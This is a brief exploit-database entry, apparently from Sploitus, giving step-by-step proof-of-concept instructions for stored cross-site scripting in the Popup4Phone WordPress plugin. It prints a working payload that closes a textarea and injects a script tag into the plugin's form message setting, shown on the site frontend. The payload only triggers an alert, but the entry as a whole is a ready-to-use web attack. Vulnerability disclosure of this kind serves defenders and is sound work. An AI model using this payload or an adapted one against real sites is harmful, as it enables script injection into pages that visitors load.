## https://sploitus.com/exploit?id=WPEX-ID:31F401C4-735A-4EFB-B81F-AB98C00C526B
1. Go to "Popup4Phone > Settings > Form"
2. In the "Message for show during form submission" field add the payload `</textarea><script>alert(/XSS: popup4phone_form_message_sending/)</script>`
3. Save the changed and view the form on the frontend to see the XSS